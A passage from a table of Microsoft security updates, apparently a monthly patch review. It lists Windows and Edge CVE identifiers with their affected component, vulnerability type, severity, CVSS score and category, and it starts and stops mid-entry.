Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50484\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50673\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58532\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50294\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-50316\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50419\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-50463\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50475\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50429\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58614\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58545\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58602\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50393\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50396\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50378\n  Windows Key Guard\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50303\n  Windows Key Guard\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-40378\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49799\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50371\n  Windows LUA File\n  Virtualization Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58544\n  Windows Management\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50404\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50358\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50336\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50398\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50414\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50379\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50433\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50676\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50677\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34349\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50394\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50415\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.3\n  No\n  No\n  Info\n \n \n  CVE-2026-57083\n  Windows Media Photo\n  Codec Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54115\n  Windows Message\n  Queuing (MSMQ) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50447\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50505\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50342\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56183\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56187\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58635\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50500\n  Windows Netlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50476\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50450\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56650\n  Windows Network File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56649\n  Windows Network File\n  System Remote Code Execution Vulnerability\n  Important\n  5.9\n  No\n  No\n  RCE\n \n \n  CVE-2026-50470\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50496\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56194\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56648\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50337\n  Windows Notification\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49789\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50412\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50422\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50672\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56175\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56182\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50341\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58640\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-49184\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-49797\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50308\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50386\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50309\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50313\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50388\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50448\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50471\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50461\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50417\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50482\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-50494\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50344\n  Windows OLE Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50686\n  Windows OLE Remote\n  Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-50335\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50317\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54987\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50435\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50409\n  Windows Overlay Filter\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40400\n  Windows PowerShell\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49166\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55004\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50499\n  Windows Print Spooler\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50383\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57085\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50469\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50434\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50339\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50430\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50334\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-44800\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50363\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50431\n  Windows Quality of\n  Service (QoS) Packet Scheduler Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50372\n  Windows Redirected\n  Drive Buffering System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50666\n  Windows Remote Access\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56647\n  Windows Remote Access\n  Service Infrastructure Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50330\n  Windows Remote Desktop\n  Client Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50376\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50504\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58533\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58535\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58546\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58539\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55003\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57979\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50445\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50497\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54126\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57982\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50369\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58626\n  Windows Remote Desktop\n  Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55014\n  Windows Remote Help\n  Defense Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50318\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50407\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50357\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50441\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50668\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54109\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49792\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49793\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50362\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50492\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50501\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58530\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49791\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50451\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57096\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50323\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50452\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50348\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50345\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50322\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50340\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50410\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50449\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50460\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50403\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50385\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50413\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50457\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50486\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50503\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54125\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58527\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50373\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50679\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-44806\n  Windows Secure Channel\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-50681\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56186\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50367\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58619\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50311\n  Windows Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50328\n  Windows Server Update\n  Service (WSUS) Tampering Vulnerability\n  Important\n  7.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-58531\n  Windows SMB Elevation\n  of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-54997\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-49801\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50690\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56168\n  Windows SMB Server\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50360\n  Windows SMB Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57089\n  Windows SMB Server\n  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50333\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50298\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49171\n  Windows Speech Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49170\n  Windows\n  StateRepository API Server file Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58526\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50299\n  Windows Storage Spaces\n  Direct Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57968\n  Windows Subsystem for\n  Linux (WSL2) Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57973\n  Windows Subsystem for\n  Linux (WSL2) Kernel Tampering Vulnerability\n  Important\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50418\n  Windows System Secure\n  Feature Bypass Vulnerability\n  Important\n  5.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50306\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50307\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49177\n  Windows TCP/IP\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50669\n  Windows Telephony\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54124\n  Windows Terminal\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50350\n  Windows Trusted\n  Runtime Interface Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50326\n  Windows Unified\n  Consent System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49790\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50498\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58547\n  Windows Universal Plug\n  and Play (UPnP) Device Host Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49794\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  4.6\n  No\n  No\n  Info\n \n \n  CVE-2026-50453\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58528\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-50321\n  Windows USB Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50479\n  Windows USB Hub Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55000\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-54991\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54996\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49802\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49806\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50674\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49804\n  Windows USB Video\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.6\n  No\n  No\n  EoP\n \n \n  CVE-2026-50454\n  Windows User Interface\n  Core Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49176\n  Windows WalletService\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49800\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50480\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56173\n  Windows WebView\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58632\n  Windows Win32 Kernel\n  Subsystem Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54107\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54986\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54112\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54114\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50670\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50688\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50687\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56176\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58628\n  Windows Wireless\n  Network Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50295\n  Windows Zero Trust DNS\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50509\n  Wireless Wide Area\n  Network Service (WwanSvc) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55945\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Moderate\n  4.2\n  No\n  No\n  Info\n \n \n  CVE-2026-45488\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-45489\n  Microsoft Edge\n  (Chromium-based) Spoofing 